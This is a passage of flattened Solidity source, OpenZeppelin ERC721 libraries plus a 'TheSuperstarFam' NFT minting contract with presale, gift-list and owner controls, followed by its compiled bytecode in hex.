return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/Context.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/Strings.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/tsf.sol
// contracts/tsf.sol
pragma solidity ^0.8.0;
contract TheSuperstarFam is ERC721Enumerable, Ownable {
// private variables and constants
string private baseURI;
string private _contractURI;
// public variables and constants
bool public saleIsActive = false;
bool public presaleIsActive = true;
bool public claimGiftActive = false;
uint256 constant public TOTAL_SUPPLY = 10102;
uint256 public maxPublicMintPerTx = 20;
uint256 public price = 0.08 ether;
string public provenance = '';
struct List {
uint hasMinted;
uint allotted;
}
mapping(address => List) public viplist;
mapping(address => List) public giftlist;
event Mint(address owner, uint qty);
event Gift(address to, uint qty);
event Reserve(address to, uint qty);
event Withdraw(uint amount);
// constructor function
constructor() ERC721("TheSuperstarFam", "TSF") {
}
// reserve superstars
function reserveSuperstars(address addr, uint256 tokenCount) public onlyOwner {
uint supply = totalSupply();
require((supply + tokenCount) <= TOTAL_SUPPLY, "Exceeds max supply");
uint i;
for (i = 1; i <= tokenCount; i++) {
_safeMint(addr, supply + i);
}
emit Reserve(addr, tokenCount);
}
// presale add to viplist
// presale remove from viplist
function updateAddressesInViplist(address[] calldata addresses, uint[] calldata allotted) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addresses.length; i++) {
viplist[addresses[i]].allotted = allotted[i];
}
success = true;
}
function remainingViplistedCount(address addr) public view returns (uint remainingViplisted) {
List memory record;
record = viplist[addr];
if(record.allotted > record.hasMinted) {
return (record.allotted - record.hasMinted);
} else {
return 0;
}
}
// add to giftlist
// remove from giftlist
function updateAddressesInGiftlist(address[] calldata addresses, uint[] calldata allotted) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addresses.length; i++) {
giftlist[addresses[i]].allotted = allotted[i];
}
success = true;
}
function remainingGiftlistCount(address addr) public view returns (uint remainingGifts) {
List memory record;
record = giftlist[addr];
if(record.allotted > record.hasMinted) {
return (record.allotted - record.hasMinted);
} else {
return 0;
}
}
// claim superstars/gifts
function claimSuperstarGifts(uint256 tokenCount) public {
require(claimGiftActive, "Gift claiming is not enabled");
uint supply = totalSupply();
require((supply + tokenCount) <= TOTAL_SUPPLY, "Exceeds max supply");
uint _remainingGiftlistCount = remainingGiftlistCount(msg.sender);
require(_remainingGiftlistCount > 0, "No gifts won OR you have already claimed");
require(tokenCount <= _remainingGiftlistCount, "Exceeds max allotted gifts");
giftlist[msg.sender].hasMinted = giftlist[msg.sender].hasMinted + tokenCount;
uint i;
for (i = 1; i <= tokenCount; i++) {
_safeMint(msg.sender, supply + i);
}
emit Gift(msg.sender, tokenCount);
}
// publicsale mint superstars
// presale mint superstars
function mintSuperstar(uint256 tokenCount) public payable {
require(saleIsActive, "Sale must be active to mint");
uint256 supply = totalSupply();
require((supply + tokenCount) <= TOTAL_SUPPLY, "Exceeds max supply");
require((price * tokenCount) <= msg.value, "ETH value isn't correct");
if(presaleIsActive) {
uint _remainingViplistedCount = remainingViplistedCount(msg.sender);
require(_remainingViplistedCount > 0, "Not on VIP list OR you have already minted");
require(tokenCount <= _remainingViplistedCount, "Exceeds max allotted count in VIP list");
viplist[msg.sender].hasMinted = viplist[msg.sender].hasMinted + tokenCount;
} else {
require(tokenCount <= maxPublicMintPerTx, "Exceeds max count per transaction");
}
uint i;
for (i = 1; i <= tokenCount; i++) {
_safeMint(msg.sender, supply + i);
}
emit Mint(msg.sender, tokenCount);
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
// set baseURI
function setBaseURI(string memory uri) external onlyOwner {
baseURI = uri;
}
// set provenance
function setProvenance(string calldata _provenance) external onlyOwner {
provenance = _provenance;
}
//set Contract URI
function setContractURI(string memory contractURI_)external onlyOwner {
_contractURI = contractURI_;
}
//view Contract URI
function contractURI() public view returns (string memory) {
return _contractURI;
}
// set presale state
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
// set publicsale state
function flipPresaleState() public onlyOwner {
presaleIsActive = !presaleIsActive;
}
// set publicsale state
function flipClaimGiftState() public onlyOwner {
claimGiftActive = !claimGiftActive;
}
// withdraw function
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
emit Withdraw(balance);
}
function getTokensByOwner(address addr) public view returns(uint[] memory) {
uint[] memory result = new uint[](balanceOf(addr));
uint counter = 0;
for (uint i = 1; i <= totalSupply(); i++) {
if (ownerOf(i) == addr) {
result[counter] = i;
counter++;
}
}
return result;
}
} | 0x6080604052600436106102e75760003560e01c806370a0823111610184578063a9da1aea116100d6578063e8a3d4851161008a578063f2fde38b11610064578063f2fde38b1461082e578063f81227d41461084e578063ffe630b51461086357600080fd5b8063e8a3d485146107b6578063e985e9c5146107cb578063eb8d24441461081457600080fd5b8063bb9c00e2116100bb578063bb9c00e214610742578063c10ac44e14610776578063c87b56dd1461079657600080fd5b8063a9da1aea146106d9578063b88d4fde1461072257600080fd5b8063938e3d7b11610138578063a05f755411610112578063a05f755414610684578063a22cb465146106a4578063a2d9eea6146106c457600080fd5b8063938e3d7b1461063957806395d89b4114610659578063a035b1fe1461066e57600080fd5b8063756df4e211610169578063756df4e2146105e55780638da5cb5b14610605578063902d55a51461062357600080fd5b806370a08231146105b0578063715018a6146105d057600080fd5b806330f72cd41161023d57806342842e0e116101f1578063503ca789116101cb578063503ca7891461055a57806355f804b3146105705780636352211e1461059057600080fd5b806342842e0e146104fa57806347533b521461051a5780634f6ccce71461053a57600080fd5b80633bd87583116102225780633bd87583146104985780633ccfd60b146104b857806340398d67146104cd57600080fd5b806330f72cd41461046457806334918dfd1461048357600080fd5b80630f7309e81161029f57806323b872dd1161027957806323b872dd1461040457806327eca030146104245780632f745c591461044457600080fd5b80630f7309e8146103bd57806318160ddd146103d25780631c9da242146103f157600080fd5b806307fc82d3116102d057806307fc82d314610343578063081812fc14610363578063095ea7b31461039b57600080fd5b806301ffc9a7146102ec57806306fdde0314610321575b600080fd5b3480156102f857600080fd5b5061030c610307366004613056565b610883565b60405190151581526020015b60405180910390f35b34801561032d57600080fd5b506103366108df565b604051610318919061323f565b34801561034f57600080fd5b5061030c61035e366004612fea565b610971565b34801561036f57600080fd5b5061038361037e36600461314b565b610a5d565b6040516001600160a01b039091168152602001610318565b3480156103a757600080fd5b506103bb6103b6366004612fc0565b610b03565b005b3480156103c957600080fd5b50610336610c35565b3480156103de57600080fd5b506008545b604051908152602001610318565b6103bb6103ff36600461314b565b610cc3565b34801561041057600080fd5b506103bb61041f366004612ecc565b610ff9565b34801561043057600080fd5b506103bb61043f36600461314b565b611080565b34801561045057600080fd5b506103e361045f366004612fc0565b6112a8565b34801561047057600080fd5b50600d5461030c90610100900460ff1681565b34801561048f57600080fd5b506103bb611350565b3480156104a457600080fd5b506103e36104b3366004612e7e565b6113be565b3480156104c457600080fd5b506103bb611440565b3480156104d957600080fd5b506104ed6104e8366004612e7e565b611500565b60405161031891906131fb565b34801561050657600080fd5b506103bb610515366004612ecc565b6115c8565b34801561052657600080fd5b506103e3610535366004612e7e565b6115e3565b34801561054657600080fd5b506103e361055536600461314b565b61164f565b34801561056657600080fd5b506103e3600e5481565b34801561057c57600080fd5b506103bb61058b366004613102565b6116f3565b34801561059c57600080fd5b506103836105ab36600461314b565b611764565b3480156105bc57600080fd5b506103e36105cb366004612e7e565b6117ef565b3480156105dc57600080fd5b506103bb611889565b3480156105f157600080fd5b5061030c610600366004612fea565b6118ef565b34801561061157600080fd5b50600a546001600160a01b0316610383565b34801561062f57600080fd5b506103e361277681565b34801561064557600080fd5b506103bb610654366004613102565b6119ca565b34801561066557600080fd5b50610336611a37565b34801561067a57600080fd5b506103e3600f5481565b34801561069057600080fd5b50600d5461030c9062010000900460ff1681565b3480156106b057600080fd5b506103bb6106bf366004612f84565b611a46565b3480156106d057600080fd5b506103bb611b0b565b3480156106e557600080fd5b5061070d6106f4366004612e7e565b6011602052600090815260409020805460019091015482565b60408051928352602083019190915201610318565b34801561072e57600080fd5b506103bb61073d366004612f08565b611ba0565b34801561074e57600080fd5b5061070d61075d366004612e7e565b6012602052600090815260409020805460019091015482565b34801561078257600080fd5b506103bb610791366004612fc0565b611c2e565b3480156107a257600080fd5b506103366107b136600461314b565b611d59565b3480156107c257600080fd5b50610336611e41565b3480156107d757600080fd5b5061030c6107e6366004612e99565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561082057600080fd5b50600d5461030c9060ff1681565b34801561083a57600080fd5b506103bb610849366004612e7e565b611e50565b34801561085a57600080fd5b506103bb611f32565b34801561086f57600080fd5b506103bb61087e366004613090565b611fc6565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806108d957506108d98261202c565b92915050565b6060600080546108ee906132e0565b80601f016020809104026020016040519081016040528092919081815260200182805461091a906132e0565b80156109675780601f1061093c57610100808354040283529160200191610967565b820191906000526020600020905b81548152906001019060200180831161094a57829003601f168201915b5050505050905090565b600a546000906001600160a01b031633146109d35760405162461bcd60e51b815260206004820181905260248201527f4f776e